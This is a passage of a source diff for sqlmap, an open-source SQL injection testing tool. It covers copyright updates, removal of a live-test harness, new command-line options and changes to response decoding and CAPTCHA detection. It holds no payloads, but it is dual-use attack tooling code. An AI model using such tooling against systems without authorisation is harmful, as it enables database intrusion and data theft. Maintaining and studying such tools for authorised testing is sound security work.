+    for regex in re.findall(r'<error regexp="(.+?)"/>', content):
+        try:
+            re.compile(regex)
+        except re.error:
+            errMsg = "smoke test failed at compiling '%s'" % regex
+            logger.error(errMsg)
+            return False
+
     retVal = True
     count, length = 0, 0
 
@@ -156,7 +265,7 @@ def smokeTest():
             continue
 
         for filename in files:
-            if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
+            if os.path.splitext(filename)[1].lower() == ".py" and filename not in ("__init__.py", "gui.py"):
                 path = os.path.join(root, os.path.splitext(filename)[0])
                 path = path.replace(paths.SQLMAP_ROOT_PATH, '.')
                 path = path.replace(os.sep, '.').lstrip('.')
@@ -212,233 +321,3 @@ def smokeTest():
         logger.error("smoke test final result: FAILED")
 
     return retVal
-
-def adjustValueType(tagName, value):
-    for family in optDict:
-        for name, type_ in optDict[family].items():
-            if type(type_) == tuple:
-                type_ = type_[0]
-            if tagName == name:
-                if type_ == "boolean":
-                    value = (value == "True")
-                elif type_ == "integer":
-                    value = int(value)
-                elif type_ == "float":
-                    value = float(value)
-                break
-    return value
-
-def liveTest():
-    """
-    Runs the test of a program against the live testing environment
-    """
-
-    retVal = True
-    count = 0
-    global_ = {}
-    vars_ = {}
-
-    livetests = readXmlFile(paths.LIVE_TESTS_XML)
-    length = len(livetests.getElementsByTagName("case"))
-
-    element = livetests.getElementsByTagName("global")
-    if element:
-        for item in element:
-            for child in item.childNodes:
-                if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
-                    global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value"))
-
-    element = livetests.getElementsByTagName("vars")
-    if element:
-        for item in element:
-            for child in item.childNodes:
-                if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
-                    var = child.getAttribute("value")
-                    vars_[child.tagName] = randomStr(6) if var == "random" else var
-
-    for case in livetests.getElementsByTagName("case"):
-        parse_from_console_output = False
-        count += 1
-        name = None
-        parse = []
-        switches = dict(global_)
-        value = ""
-        vulnerable = True
-        result = None
-
-        if case.hasAttribute("name"):
-            name = case.getAttribute("name")
-
-        if conf.runCase and ((conf.runCase.isdigit() and conf.runCase != count) or not re.search(conf.runCase, name, re.DOTALL)):
-            continue
-
-        if case.getElementsByTagName("switches"):
-            for child in case.getElementsByTagName("switches")[0].childNodes:
-                if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
-                    value = replaceVars(child.getAttribute("value"), vars_)
-                    switches[child.tagName] = adjustValueType(child.tagName, value)
-
-        if case.getElementsByTagName("parse"):
-            for item in case.getElementsByTagName("parse")[0].getElementsByTagName("item"):
-                if item.hasAttribute("value"):
-                    value = replaceVars(item.getAttribute("value"), vars_)
-
-                if item.hasAttribute("console_output"):
-                    parse_from_console_output = bool(item.getAttribute("console_output"))
-
-                parse.append((value, parse_from_console_output))
-
-        conf.verbose = global_.get("verbose", 1)
-        setVerbosity()
-
-        msg = "running live test case: %s (%d/%d)" % (name, count, length)
-        logger.info(msg)
-
-        initCase(switches, count)
-
-        test_case_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "test_case"), "wb", UNICODE_ENCODING)
-        test_case_fd.write("%s\n" % name)
-
-        try:
-            result = runCase(parse)
-        except SqlmapNotVulnerableException:
-            vulnerable = False
-        finally:
-            conf.verbose = global_.get("verbose", 1)
-            setVerbosity()
-
-        if result is True:
-            logger.info("test passed")
-            cleanCase()
-        else:
-            errMsg = "test failed"
-
-            if _failures.failedItems:
-                errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems)
-
-            errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH
-            errMsg += " - traceback: %s" % bool(_failures.failedTraceBack)
-
-            if not vulnerable:
-                errMsg += " - SQL injection not detected"
-
-            logger.error(errMsg)
-            test_case_fd.write("%s\n" % errMsg)
-
-            if _failures.failedParseOn:
-                console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING)
-                console_output_fd.write(_failures.failedParseOn)
-                console_output_fd.close()
-
-            if _failures.failedTraceBack:
-                traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING)
-                traceback_fd.write(_failures.failedTraceBack)
-                traceback_fd.close()
-
-            beep()
-
-            if conf.stopFail is True:
-                return retVal
-
-        test_case_fd.close()
-        retVal &= bool(result)
-
-    dataToStdout("\n")
-
-    if retVal:
-        logger.info("live test final result: PASSED")
-    else:
-        logger.error("live test final result: FAILED")
-
-    return retVal
-
-def initCase(switches, count):
-    _failures.failedItems = []
-    _failures.failedParseOn = None
-    _failures.failedTraceBack = None
-
-    paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count))
-    paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
-    paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
-
-    logger.debug("using output directory '%s' for this test case" % paths.SQLMAP_OUTPUT_PATH)
-
-    LOGGER_HANDLER.stream = sys.stdout = tempfile.SpooledTemporaryFile(max_size=0, mode="w+b", prefix="sqlmapstdout-")
-
-    cmdLineOptions = cmdLineParser()
-
-    if switches:
-        for key, value in switches.items():
-            if key in cmdLineOptions.__dict__:
-                cmdLineOptions.__dict__[key] = value
-
-    initOptions(cmdLineOptions, True)
-    init()
-
-def cleanCase():
-    shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True)
-
-def runCase(parse):
-    retVal = True
-    handled_exception = None
-    unhandled_exception = None
-    result = False
-    console = ""
-
-    try:
-        result = start()
-    except KeyboardInterrupt:
-        pass
-    except SqlmapBaseException as ex:
-        handled_exception = ex
-    except Exception as ex:
-        unhandled_exception = ex
-    finally:
-        sys.stdout.seek(0)
-        console = sys.stdout.read()
-        LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__
-
-    if unhandled_exception:
-        _failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
-        retVal = None
-    elif handled_exception:
-        _failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
-        retVal = None
-    elif result is False:  # this means no SQL injection has been detected - if None, ignore
-        retVal = False
-
-    console = getUnicode(console, encoding=sys.stdin.encoding)
-
-    if parse and retVal:
-        with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f:
-            content = f.read()
-
-        for item, parse_from_console_output in parse:
-            parse_on = console if parse_from_console_output else content
-
-            if item.startswith("r'") and item.endswith("'"):
-                if not re.search(item[2:-1], parse_on, re.DOTALL):
-                    retVal = None
-                    _failures.failedItems.append(item)
-
-            elif item not in parse_on:
-                retVal = None
-                _failures.failedItems.append(item)
-
-        if _failures.failedItems:
-            _failures.failedParseOn = console
-
-    elif retVal is False:
-        _failures.failedParseOn = console
-
-    return retVal
-
-def replaceVars(item, vars_):
-    retVal = item
-
-    if item and vars_:
-        for var in re.findall(r"\$\{([^}]+)\}", item):
-            if var in vars_:
-                retVal = retVal.replace("${%s}" % var, vars_[var])
-
-    return retVal

lib/core/threads.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -73,6 +73,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
     # It will be overwritten by original from lib.core.common
     pass
 
+def isDigit(value):
+    # It will be overwritten by original from lib.core.common
+    pass
+
 def getCurrentThreadData():
     """
     Returns current thread's local data
@@ -119,16 +123,18 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
     kb.threadException = False
     kb.technique = ThreadData.technique
 
-    if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
+    if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
         while True:
             message = "please enter number of threads? [Enter for %d (current)] " % numThreads
             choice = readInput(message, default=str(numThreads))
             if choice:
                 skipThreadCheck = False
+
                 if choice.endswith('!'):
                     choice = choice[:-1]
                     skipThreadCheck = True
-                if choice.isdigit():
+
+                if isDigit(choice):
                     if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck:
                         errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
                         logger.critical(errMsg)
@@ -179,6 +185,12 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
         kb.threadContinue = False
         kb.threadException = True
 
+        if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
+            kb.multipleCtrlC = True
+            raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
+
+        kb.lastCtrlCTime = time.time()
+
         if numThreads > 1:
             logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
         try:

lib/core/unescaper.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/update.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -136,6 +136,6 @@ def update():
             infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
         else:
             infoMsg = "for Linux platform it's recommended "
-            infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
+            infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt install git')"
 
         logger.info(infoMsg)

lib/core/wordlist.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/parse/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/parse/banner.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/parse/cmdline.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -78,6 +78,7 @@ from lib.core.defaults import defaults
 from lib.core.dicts import DEPRECATED_OPTIONS
 from lib.core.enums import AUTOCOMPLETE_TYPE
 from lib.core.exception import SqlmapShellQuitException
+from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSyntaxException
 from lib.core.option import _createHomeDirectories
 from lib.core.settings import BASIC_HELP_ITEMS
@@ -121,18 +122,15 @@ def cmdLineParser(argv=None):
         # Target options
         target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)")
 
-        target.add_argument("-d", dest="direct",
-            help="Connection string for direct database connection")
-
         target.add_argument("-u", "--url", dest="url",
             help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")")
 
+        target.add_argument("-d", dest="direct",
+            help="Connection string for direct database connection")
+
         target.add_argument("-l", dest="logFile",
             help="Parse target(s) from Burp or WebScarab proxy log file")
 
-        target.add_argument("-x", dest="sitemapUrl",
-            help="Parse target(s) from remote sitemap(.xml) file")
-
         target.add_argument("-m", dest="bulkFile",
             help="Scan multiple targets given in a textual file ")
 
@@ -148,6 +146,12 @@ def cmdLineParser(argv=None):
         # Request options
         request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL")
 
+        request.add_argument("-A", "--user-agent", dest="agent",
+            help="HTTP User-Agent header value")
+
+        request.add_argument("-H", "--header", dest="header",
+            help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
+
         request.add_argument("--method", dest="method",
             help="Force usage of given HTTP method (e.g. PUT)")
 
@@ -169,9 +173,6 @@ def cmdLineParser(argv=None):
         request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true",
             help="Ignore Set-Cookie header from response")
 
-        request.add_argument("--user-agent", dest="agent",
-            help="HTTP User-Agent header value")
-
         request.add_argument("--mobile", dest="mobile", action="store_true",
             help="Imitate smartphone through HTTP User-Agent header")
 
@@ -184,9 +185,6 @@ def cmdLineParser(argv=None):
         request.add_argument("--referer", dest="referer",
             help="HTTP Referer header value")
 
-        request.add_argument("-H", "--header", dest="header",
-            help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
-
         request.add_argument("--headers", dest="headers",
             help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
 
@@ -254,7 +252,7 @@ def cmdLineParser(argv=None):
             help="Load safe HTTP request from a file")
 
         request.add_argument("--safe-freq", dest="safeFreq", type=int,
-            help="Test requests between two visits to a given safe URL")
+            help="Regular requests between visits to a safe URL")
 
         request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true",
             help="Skip URL encoding of payload data")
@@ -413,7 +411,7 @@ def cmdLineParser(argv=None):
             help="Perform an extensive DBMS version fingerprint")
 
         # Enumeration options
-        enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")
+        enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables")
 
         enumeration.add_argument("-a", "--all", dest="getAll", action="store_true",
             help="Retrieve everything")
@@ -728,12 +726,18 @@ def cmdLineParser(argv=None):
         miscellaneous.add_argument("--purge", dest="purge", action="store_true",
             help="Safely remove all content from sqlmap data directory")
 
+        miscellaneous.add_argument("--results-file", dest="resultsFile",
+            help="Location of CSV results file in multiple targets mode")
+
         miscellaneous.add_argument("--sqlmap-shell", dest="sqlmapShell", action="store_true",
             help="Prompt for an interactive sqlmap shell")
 
         miscellaneous.add_argument("--tmp-dir", dest="tmpDir",
             help="Local directory for storing temporary files")
 
+        miscellaneous.add_argument("--unstable", dest="unstable", action="store_true",
+            help="Adjust options for unstable connections")
+
         miscellaneous.add_argument("--update", dest="updateAll", action="store_true",
             help="Update sqlmap")
 
@@ -777,19 +781,19 @@ def cmdLineParser(argv=None):
         parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
             help=SUPPRESS)
 
-        parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
+        parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true",
             help=SUPPRESS)
 
-        parser.add_argument("--live-test", dest="liveTest", action="store_true",
+        parser.add_argument("--gui", dest="gui", action="store_true",
+            help=SUPPRESS)
+
+        parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
             help=SUPPRESS)
 
         parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
             help=SUPPRESS)
 
-        parser.add_argument("--stop-fail", dest="stopFail", action="store_true",
+        parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true",
-            help=SUPPRESS)
-
-        parser.add_argument("--run-case", dest="runCase",
             help=SUPPRESS)
 
         # API options
@@ -844,7 +848,6 @@ def cmdLineParser(argv=None):
                     break
 
         _ = []
-        prompt = False
         advancedHelp = True
         extraHeaders = []
         tamperIndex = None
@@ -856,9 +859,14 @@ def cmdLineParser(argv=None):
         argv = _
         checkOldOptions(argv)
 
-        prompt = "--sqlmap-shell" in argv
+        if "--gui" in argv:
+            from lib.core.gui import runGui
 
-        if prompt:
+            runGui(parser)
+
+            raise SqlmapSilentQuitException
+
+        elif "--sqlmap-shell" in argv:
             _createHomeDirectories()
 
             parser.usage = ""
@@ -903,9 +911,10 @@ def cmdLineParser(argv=None):
 
         for i in xrange(len(argv)):
             longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
+            longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
             if argv[i] == "-hh":
                 argv[i] = "-h"
-            elif i == 1 and argv[i].startswith("http"):
+            elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
                 argv[i] = "--url=%s" % argv[i]
             elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
                 dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
@@ -916,6 +925,9 @@ def cmdLineParser(argv=None):
             elif re.search(r"\A-\w=.+", argv[i]):
                 dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
                 raise SystemExit
+            elif re.search(r"\A-\w{3,}", argv[i]):
+                if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
+                    argv[i] = "-%s" % argv[i]
             elif argv[i] in DEPRECATED_OPTIONS:
                 argv[i] = ""
             elif argv[i].startswith("--tamper"):
@@ -927,6 +939,8 @@ def cmdLineParser(argv=None):
             elif argv[i] == "-H":
                 if i + 1 < len(argv):
                     extraHeaders.append(argv[i + 1])
+            elif argv[i] == "--deps":
+                argv[i] = "--dependencies"
             elif argv[i] == "-r":
                 for j in xrange(i + 2, len(argv)):
                     value = argv[j]
@@ -988,8 +1002,8 @@ def cmdLineParser(argv=None):
         if args.dummy:
             args.url = args.url or DUMMY_URL
 
-        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers, args.hashFile)):
+        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
-            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
+            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
             errMsg += "Use -h for basic and -hh for advanced help\n"
             parser.error(errMsg)
 

lib/parse/configfile.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -79,14 +79,14 @@ def configFileParser(configFile):
 
     mandatory = False
 
-    for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "sitemapUrl", "wizard"):
+    for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "wizard"):
         if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option):
             mandatory = True
             break
 
     if not mandatory:
         errMsg = "missing a mandatory option in the configuration file "
-        errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile, sitemapUrl or wizard)"
+        errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)"
         raise SqlmapMissingMandatoryOptionException(errMsg)
 
     for family, optionData in optDict.items():

lib/parse/handler.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/parse/headers.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/parse/html.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -26,7 +26,10 @@ class HTMLHandler(ContentHandler):
 
         self._dbms = None
         self._page = (page or "")
-        self._lower_page = self._page.lower()
+        try:
+            self._lower_page = self._page.lower()
+        except SystemError:  # https://bugs.python.org/issue18183
+            self._lower_page = None
         self._urldecoded_page = urldecode(self._page)
 
         self.dbms = None
@@ -49,14 +52,21 @@ class HTMLHandler(ContentHandler):
                 keywords = sorted(keywords, key=len)
                 kb.cache.regex[regexp] = keywords[-1].lower()
 
-            if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I):
+            if kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp]) and re.search(regexp, self._urldecoded_page, re.I):
                 self.dbms = self._dbms
                 self._markAsErrorPage()
+                kb.forkNote = kb.forkNote or attrs.get("fork")
 
 def htmlParser(page):
     """
     This function calls a class that parses the input HTML page to
     fingerprint the back-end database management system
+
+    >>> from lib.core.enums import DBMS
+    >>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL
+    True
+    >>> threadData = getCurrentThreadData()
+    >>> threadData.lastErrorPage = None
     """
 
     xmlfile = paths.ERRORS_XML

lib/parse/payloads.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/parse/sitemap.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/request/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/request/basic.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -34,6 +34,7 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.decorators import cachedmethod
+from lib.core.decorators import lockedmethod
 from lib.core.dicts import HTML_ENTITIES
 from lib.core.enums import DBMS
 from lib.core.enums import HTTP_HEADER
@@ -47,6 +48,7 @@ from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
 from lib.core.settings import META_CHARSET_REGEX
 from lib.core.settings import PARSE_HEADERS_LIMIT
 from lib.core.settings import SELECT_FROM_TABLE_REGEX
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import VIEWSTATE_REGEX
 from lib.parse.headers import headersParser
 from lib.parse.html import htmlParser
@@ -57,6 +59,7 @@ from thirdparty.odict import OrderedDict
 from thirdparty.six import unichr as _unichr
 from thirdparty.six.moves import http_client as _http_client
 
+@lockedmethod
 def forgeHeaders(items=None, base=None):
     """
     Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing
@@ -110,9 +113,9 @@ def forgeHeaders(items=None, base=None):
                     if conf.loadCookies:
                         conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)
                     elif kb.mergeCookies is None:
-                        message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE
+                        message = "you provided a HTTP %s header value, while " % HTTP_HEADER.COOKIE
-                        message += "The target URL provided its own cookies within "
+                        message += "target URL provides its own cookies within "
-                        message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
+                        message += "HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
                         message += "Do you want to merge them in further requests? [Y/n] "
 
                         kb.mergeCookies = readInput(message, default='Y', boolean=True)
@@ -258,13 +261,13 @@ def getHeuristicCharEncoding(page):
     retVal = kb.cache.encoding.get(key) or detect(page)["encoding"]
     kb.cache.encoding[key] = retVal
 
-    if retVal:
+    if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""):
         infoMsg = "heuristics detected web page charset '%s'" % retVal
         singleTimeLogMessage(infoMsg, logging.INFO, retVal)
 
     return retVal
 
-def decodePage(page, contentEncoding, contentType):
+def decodePage(page, contentEncoding, contentType, percentDecode=True):
     """
     Decode compressed/charset HTTP response
 
@@ -331,40 +334,44 @@ def decodePage(page, contentEncoding, contentType):
 
     # can't do for all responses because we need to support binary files too
     if isinstance(page, six.binary_type) and "text/" in contentType:
-        # e.g. 	Ãëàâà
+        if not kb.disableHtmlDecoding:
-        if b"&#" in page:
+            # e.g. 	Ãëàâà
-            page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)), page)
+            if b"&#" in page:
-            page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
+                page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)), page)
+                page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
 
-        # e.g. %20%28%29
+            # e.g. %20%28%29
-        if b"%" in page:
+            if percentDecode:
-            page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
+                if b"%" in page:
+                    page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
 
-        # e.g. &amp;
+            # e.g. &amp;
-        page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
+            page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
 
-        kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
+            kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
 
-        if (kb.pageEncoding or "").lower() == "utf-8-sig":
+            if (kb.pageEncoding or "").lower() == "utf-8-sig":
-            kb.pageEncoding = "utf-8"
+                kb.pageEncoding = "utf-8"
-            if page and page.startswith("\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
+                if page and page.startswith("\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
-                page = page[3:]
+                    page = page[3:]
 
-        page = getUnicode(page, kb.pageEncoding)
+            page = getUnicode(page, kb.pageEncoding)
 
-        # e.g. &#8217;&#8230;&#8482;
+            # e.g. &#8217;&#8230;&#8482;
-        if "&#" in page:
+            if "&#" in page:
-            def _(match):
+                def _(match):
-                retVal = match.group(0)
+                    retVal = match.group(0)
-                try:
+                    try:
-                    retVal = _unichr(int(match.group(1)))
+                        retVal = _unichr(int(match.group(1)))
-                except (ValueError, OverflowError):
+                    except (ValueError, OverflowError):
-                    pass
+                        pass
-                return retVal
+                    return retVal
-            page = re.sub(r"&#(\d+);", _, page)
+                page = re.sub(r"&#(\d+);", _, page)
 
-        # e.g. &zeta;
+            # e.g. &zeta;
-        page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
+            page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
+        else:
+            page = getUnicode(page, kb.pageEncoding)
 
     return page
 
@@ -425,12 +432,17 @@ def processResponse(page, responseHeaders, code=None, status=None):
         for match in re.finditer(r"(?si)<form.+?</form>", page):
             if re.search(r"(?i)captcha", match.group(0)):
                 kb.captchaDetected = True
-                warnMsg = "potential CAPTCHA protection mechanism detected"
-                if re.search(r"(?i)<title>[^<]*CloudFlare", page):
-                    warnMsg += " (CloudFlare)"
-                singleTimeWarnMessage(warnMsg)
                 break
 
+        if re.search(r"<meta[^>]+\brefresh\b[^>]+\bcaptcha\b", page):
+            kb.captchaDetected = True
+
+        if kb.captchaDetected:
+            warnMsg = "potential CAPTCHA protection mechanism detected"
+            if re.search(r"(?i)<title>[^<]*CloudFlare", page):
+                warnMsg += " (CloudFlare)"
+            singleTimeWarnMessage(warnMsg)
+
     if re.search(BLOCKED_IP_REGEX, page):
         warnMsg = "it appears that you have been blocked by the target server"
         singleTimeWarnMessage(warnMsg)

lib/request/basicauthhandler.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
